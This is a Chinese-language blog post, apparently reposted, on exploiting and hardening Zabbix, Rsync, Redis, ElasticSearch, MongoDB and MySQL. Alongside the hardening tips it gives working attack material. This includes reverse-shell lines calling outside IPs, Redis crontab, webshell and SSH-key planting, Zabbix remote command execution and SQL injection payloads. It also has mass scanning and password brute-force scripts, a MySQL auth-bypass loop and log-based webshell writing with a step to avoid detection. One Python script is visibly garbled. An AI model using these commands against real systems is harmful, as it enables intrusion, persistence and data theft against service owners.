常見的運維漏洞


這篇 將會持續更新並完善 常見的web應用漏洞

主要涉及到Linux常用服務的一些安全配置加固,以及一些常見的安全漏洞等。。

 

 

zabbix 漏洞

當你忘記密碼也可以通過這個漏洞也能修改到密碼

 

 

zabbix 配置不當安全事件


實例:
1.  sohu的zabbix,可導致內網滲透
http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0127627

2.  京東某站shell直入jae內網物理機內核版本過低
http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-086349

 

 

Zabbix弱口令利用
1. zabbix默認的口令為Admin:zabbix,以及存在guest密碼為空0

2. Zabbix server可以遠程在agent的機器上執行任意命令

建立監控項
zabbix_get命令調用

 

system.run[command,<mode>]

# 這個模塊是agent自帶的,獲取服務器shell,獲取root權限。

 


監控項:

反彈提權

bash -i >& /dev/tcp/45.xx.xxx.x1/6666 0>&1
nc -lvp 6666

 


zabbix_get命令調用:

zabbix_get -s 172.18.0.4 -k 'system.run[cat /etc/passwd]'

 

 

Zabbix注入

latest.php SQL注入漏洞(CVE-2016-10134)

Payload: latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0

用來賓賬號的session的后6位 替換鏈接的sid ,即可通過user() 調用出當前的啟動用戶

 

 

這串可以直接訪問,不需要其他的東西

jsrpc.php? type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

 

默認口令注入漏洞

BurpSuite爆破口令

 

修復建議


1.  不要放外網
2.  修改默認密碼
3.  禁用guest 用戶
4.  不要以root啟動
5.  401認證
6.  備份數據  ->  升級版本
7.  做測試找漏洞

 

 

 

Rsync介紹

Rsync(remote synchronize)是一款實現遠程同步功能的軟件,它在同步文件的同時,可以保持原來文件的權限、時間、軟硬鏈接等附加信息。
rsync 默認同步時是不加密的,可使用 ssh隧道 的方式來進行加密同步

rsync -avzP -e 'ssh -p 22 /tmp/ test@ip:/web/'

rsync + crontab #自動備份管理

rsync + sersync # 實時備份

#默認端口為 873

 

 

 


錯誤的配置參數

 

uid = root # 不能改權限太高
gid = root

read only = false #關閉了只讀

auth users = test # 未授權登錄
secrets file = /etc/rsync.password

 

 

案例:
因為配置不當 產生的漏洞
我是如何淪陷ChinaZ下載站服務器的
http://www.anquan.us/static/bugs/wooyun-2013-026232.html

 

 

漏洞掃描與發現


掃描工具 nmap

nmap -n --open -p 873 192.168.1.0/24

 

掃描到的IP然后進行訪問

rsync 192.168.1.10::bak

 


當前目錄下寫個php 或則webshell 進行同步

<?php phpinfo(); ?>
rsync test.php 192.168.1.10::bak/123.php

 

 

Python編寫批量掃描

需求
'''
1. 掃描開發的873端口
2. 獲取rsync目錄
3. 密碼嘗試
'''

#!/usr/bin/python
#-*- coding:utf8 -*-
#BY:  H.c
'''
1. 掃描開發的873端口
2. 獲取rsync目錄
3. 密碼嘗試
'''

import os
import datetime
import threading
from socket import *

# 獲取當前時間  例如:19-5-9
create_file_name = datetime.datetime.now().strftime('%Y-%m-%d')

# 保存文件
def save_file(result):
    new_file = '{}_open.txt'.format(create_file_name)
    with open(new_file,'a+') as fd:
        fd.writelines(result + '\n')


# 這是一個 生成器
def socket_request(tarip, tarport):
    try:   # 異常處理 ,執行正常則 會 yield 出結果 ,如果報錯,則輸出Close
        setdefaulttimeout(3) # 設置鏈接超時時間  3S
        s = socket(AF_INET, SOCK_STREAM)   # 調用socket
        address = (str(tarip), int(tarport)) # 將IP 和端口 封裝成元組
        s.connect(address)   # 請求鏈接  類似於  shh IP port
        s.close()   # 關閉連接
        info = '{}:{} Open'.format(tarip,tarport)    # 拼接 ip:port  192.168.1.10:873
        print ('\033[6;30;42m]' + info + '\033[0m')  # 顯示顏色
        save_file(tarip)   # 將這個IP 寫入文件保存
        yield info    # yield  如果沒有 send 和 next  方法 則會將外部每次的循環結果 return出去
    except:
        print ('\033[0;31m' + '{}:{} {}'.format(tarip, tarport, 'Close') + '\033[0m')


#  ip 端口掃描
def port_open_scan():
    with open('ip.txt', 'r') as read_ip:  #讀取文件
        for i in read_ip.readlines():
            for x in socket_request(str(i).strip(), 873):
                print (x)
                pass

# 確認開啟了rsync服務的IP
def rsync_pass_check(ip):
    ip = ip.strip()
    command = "rsync "+ ip + "::"
    print("Checking {}".format(ip))
    dirlist = []
    for line in os.popen(command):    # os.popen 和 os.system()  一個直接輸出,一個變成可read()對象 subprocess.Popen()
        x = line.find("\t")
        y = line[0:x]
        dirlist.append(y)
    for dir in dirlist:
        userlist = ['www','root','test','admin','rsync']
        for user in userlist:
            crack_command = "rsync "+ user + "@" + ip + "::" +dir + "--password-file=pass.txt"
            try:
                output = os.system(crack_command)
                if os.popen(crack_command).read():
                    res_str = "[+] Vul Found: " + crack_command
                    with open("Vuln_IP.txt","a+") as f:
                        f.write(res_str+"\n")
                else:
                    pass
            except Exception as e:
                print (e)

def main():
    port_open_scan()
    open_port = '{}_open.txt'.format(create_file_name)
    with open(open_port, 'r') as f:
        iplist = f.readlines()
        for ip in iplist:
            rsync_pass_check(ip)

if __name__ == '__main__':
    t = threading.Thread(target=main)   # 多線程執行
    t.start()

 

修復

1. 限定訪問的IP
2. 不允許匿名訪問
3. 防止弱口令
4. 禁用root權限

 

 

 

 

Redis配置不當

redis是一個開源、支持網絡、基於內存、鍵值對存儲數據庫,使用ANSI C編寫。

自從Redis未授權問題獲取Linux系統root權限的攻擊方法的披露后,由於其易用性,利用該問題入侵Linux服務進
行挖礦

全網掃描 redis 未授權訪問獲取root 權限,通過這個漏洞進行Linux的挖礦等等

 

Redis安全事件

案例:
鳳凰網某站點redis未授權訪問導致Getshell
http://www.anquan.us/static/bugs/wooyun-2015-0161323.html

 

未授權訪問獲取Shell

1. 獲取WebShell
條件:網站路徑 用過phpinfo
登錄到對方的redis機器上
使用命令如下:

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

 


2. 寫入crontab任務
反彈提權 bash -i
使用命令如下:

set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.100/54321 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
Save

 

監聽端口:

nc –lvnp 54321

 


3. 寫入ssh公鑰

ssh-keygen -t rsa         # 創建秘鑰
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h 192.168.1.10 -x set crack  # 鏈接redis 並將秘鑰上傳
config set dir /root/.ssh/    # 切到ssh目錄去
config get dir         
config set dbfilename "authorized_keys"   # 保存到 authorized_keys 文件里
save ssh -i id_rsa root@192.168.1.10   # 保存並登陸

 

 

使用Python 進行暴力破解

#!/usr/bin/python
#
-*- coding:utf8 -*- #BY: H.c from socket import *
# 設置端口+IP ip
= '192.168.1.11' prot = 6379 timeout = 2 setdefaulttimeout(timeout) # 設置默認超時時間
s
= socket(AF_INET,SOCK_STREAM) # 引入socket s.connect((ip,int(port))) # 建立連接 s.send(b"INFO\r\n") # 傳送命令 result = s.recv(1024) # 設置傳送的字節大小
if b"redis_version" in result: # 判斷 是否有設置密碼 print ("未授權訪問") elif b"Authentication" in result: # 開始進行暴力破解 with open('./pass.txt','r') as read_pass: # 導入密碼字典 for password in read_pass: # 嘗試循環驗證 password = password.strip() s = socket(AF_INET,SOCK_STREAM) s.send("AUTH {}\r\n".format(password).encode('utf-8')) result = s.recv(1024) if b'+OK' in result: # 返回有OK 字符 則為驗證通過 print("密碼: {}".format(password)) # 顯示密碼

 

 

修復

1. 設置密碼

vim /etc/redis.conf
require pass !@#$321@!# #加上你的復雜密碼

 

 

2. 不要把Redis暴露在公網
監聽本地端口,不要暴露再公網


3. 普通權限啟動
使用普通權限啟動
命令如下:

user add -r redis
chown -R redis:redis /usr/local/reids
su - redis
redis-server /etc/redis.conf   # 以普通用戶啟動redis-server

 


4. 對.ssh降權和鎖定
命令如下:

su - redis
chmod 400 .shh/authorized_keys
chatter +i .shh/authorized_keys
chatter +i .ssh/

 

 

 

 

 

ElasticSearch漏洞

 

漏洞代碼:

CVE-2014-3120     命令執行
CVE-2015-3337     目錄穿越

 


安全加固

 

CVE-2014-3120 命令執行

漏洞環境下載:
https://github.com/vulhub/vulhub/tree/master/elasticsearch

 

啟動:

docker-compose build
docker-compose up -d

 

 

CVE-2015-3337 目錄穿越
在安裝了具有“site”功能的插件以后,插件目錄使用../即可向上跳轉,導致目錄穿越漏洞,可讀取任意文件。
沒有安裝任意插件的elasticsearch不受影響

 

 

安全加固
1. 不要暴露在公網上, 監聽本地  127.0.0.1
2. 不要以root身份運行, 可以創建普通用戶來啟動服務, 若不幸被攻破,是普通用戶權限,也拿不到有價值的數據
3. 9200端口加上一層 Http Basic-Auth 基本身份認證

 


修復
1. 限定訪問的IP  

    可以在web應用的配置文件中 Deny, 或者可以再主機防火牆上設置 iptables 規則 

2. 不允許匿名訪問

    鎖定單個用戶的訪問權限

3. 防止弱口令

    可以使用  makepasswd  生成復雜密碼。
4. 禁用root權限

    

 

 

 

 

Mongodb未授權訪問


最要是 安裝完后 沒對其做安全加固,
Mongodb 端口 27017 開放在公網,

 

案例:

2016年底至2017年初,爆發了針對MongoDB的勒索事件。
MongoDB數據庫意外暴露超過200萬墨西哥公民的醫療健康數據
https://www.freebuf.com/news/180103.html



案例:

未授權訪問漏洞
某游戲平台mongodb未授權訪問泄露大量數據
https://wystatic.tuisec.win/static/bugs/wooyun-2015-0101829.html

在剛安裝完畢的時候MongoDB都默認有一個admin數據庫,此時admin數據庫是空的,沒有記錄權限相關的信息!

 


安全加固


MongoDB黑客事件淺析
https://blog.csdn.net/wl812peter/article/details/56841989

1. 確保對MongoDB數據庫啟用了身份驗證
2. 不要開放到公網0.0.0.0  監聽 127.0.0.1
3. 建立完整的數據庫備份機制,以免被刪庫后無法及時恢復

 

 

 

 

 

 

MySQL漏洞

MySQL身份認證漏洞,通過一個錯誤的密碼,來繞過它進入數據庫
MySQL信息探測
MySQL注入利用
MySQL安全加固

 

最有意思的漏洞
memcmp()函數的溢出導致,輸入的密碼會與期望的正確密碼比較由於不正確的處理,也會使MySQL認為兩個密碼是相同的。

也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL數據庫,概率為1/256

 

https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/


受影響版本
MariaDB versions from

5.1.62,  5.2.12,  5.3.6,  5.5.23 are not.
MySQL versions from

5.1.63,  5.5.24,  5.6.6 are not.

 

 

CVE-2012-2122漏洞環境

使用docker 重現場景
docker-compose.yml

version: '2'
services:
  mysql:
    image: vulhub/mysql:5.5.23
    ports:
      - "3306:3306”

 


啟動環境:
docker-compose up -d


使用命令行
Bash:

for i in `seq 1 280`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

 

一款強大的滲透工具
Metasploit:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump

 


使用Python腳本來執行
Python:

#!/usr/bin/python 
import subprocess 
while 1: 
    subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()

 

 


MySQL信息探測

Nmap 業界最強大的工具

auxiliary/scanner/mysql/mysql_version

Hydra爆破MySQL密碼 ,需要加載字典

hydra -l root -P password.txt mysql://192.168.1.15 -vV

 

最后會跑出來個密碼,是破解出的可以使用的

 

 


MySQL注入利用
讀文件
讀數據庫密碼
在一定條件下可以into outfileinto dumpfile
SQLMAP工具輔助注入

 

 

MySQL安全加固

1.  檢查是否避免運維賬號共享

2.  檢查是否使用默認端口 3306

3.  檢查是否設置禁止MySQL對本地文件存取

        讀取 :

  select load_file('/etc/passwd');

 

        安全加固:

  revoke file on *.* from 'user3'@'127.0.0.1’;

 

4. 檢查test庫是否已被刪除。

SHOW DATABASES LIKE 'test';
DROP DATABASE "test";

 

5. 檢查默認管理員賬號是否已更名

update user set user="newUserName" where user="root";

 

6. 設置MySQL守護進程專用最小特權帳戶

ps -ef|egrep "^mysql.*$"

 

7. 禁用MySQL命令歷史記錄
將MYSQL_HISTFILE環境變量設置為/dev/null,

vim .bash_profile
export MYSQL_HISTFILE=/dev/null
ln -s /dev/null $HOME/.mysql_history

 

8. 備份策略
不要備份再本地服務器,否則被人攻破后直接下載你的sql,


9. 確保僅管理員具有完全數據庫訪問權限
網站配置不允許使用root權限
錯誤:

grant all on *.* to user1 identified by123456’;

 

指定數據庫:

grant all on db1.* to ‘user2’@‘ip’ identified by123456’;`

 

 

 


弱口令問題
通過日志獲取webshell

 

危害
獲得數據庫
獲得WebShell

select '<?php phpinfo(); >' into outfile '/data/www/a.php';
select '<?php phpinfo(); >' into dumpfile '/data/www/a.php';

#ERROR 1 (HY000): Can't create/write to file '/data/a.php' (Errcode: 13 - Permission denied)

 

 自己操作如下。發現不能寫入

 

 


通過general log獲取webshell

mysql> show variables like '%general%'; 
mysql> set global general_log = on;

mysql> set global general_log_file ='網站路徑'; 
mysql> select '<?php phpinfo(); ?>';

mysql> set global general_log_file ='還原';   #還原避免被發現 
mysql> set global general_log = off;

 

 

我自己的是   myslq 5.6 版本   所以該漏洞問題早已被修復了 嘻嘻。。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM